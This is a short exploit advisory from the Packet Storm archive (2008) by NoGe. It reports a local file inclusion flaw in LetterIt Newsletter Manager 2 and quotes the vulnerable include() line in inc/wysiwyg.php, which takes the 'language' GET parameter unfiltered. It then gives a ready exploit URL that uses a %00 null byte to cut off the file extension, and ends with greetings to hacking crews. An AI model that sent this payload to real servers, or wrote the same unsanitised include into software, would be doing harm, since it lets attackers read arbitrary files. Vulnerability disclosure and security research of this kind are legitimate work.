letterit2-lfi.txt

2008-07-31T00:00:00
ID PACKETSTORM:68696
Type packetstorm
Reporter NoGe
Modified 2008-07-31T00:00:00

Description

                                        
                                            `====================================================================  
  
  
[o] LetterIt 2 Local File Inclusion Vulnerability  
  
Software : LetterIt Newsletter Manager version 2  
Vendor : http://www.letterit.de/  
Author : NoGe  
Contact : noge[dot]code[at]gmail[dot]com  
  
  
====================================================================  
  
  
[o] Vulnerable file  
  
inc/wysiwyg.php  
  
include("../language/".$_GET['language'].".php");  
  
  
  
[o] Exploit  
  
http://localhost/[path]/inc/wysiwyg.php?language=[LFI]%00  
  
  
====================================================================  
  
  
[o] Greetz  
  
supported by irc.nob0dy.net  
MainHack BrotherHood [ www.mainhack.com ]  
VOP Crew [ Vaksin13 OoN_BoY Paman ]  
H312Y yooogy mousekill }^-^{ martfella  
skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke  
  
  
====================================================================  
  
`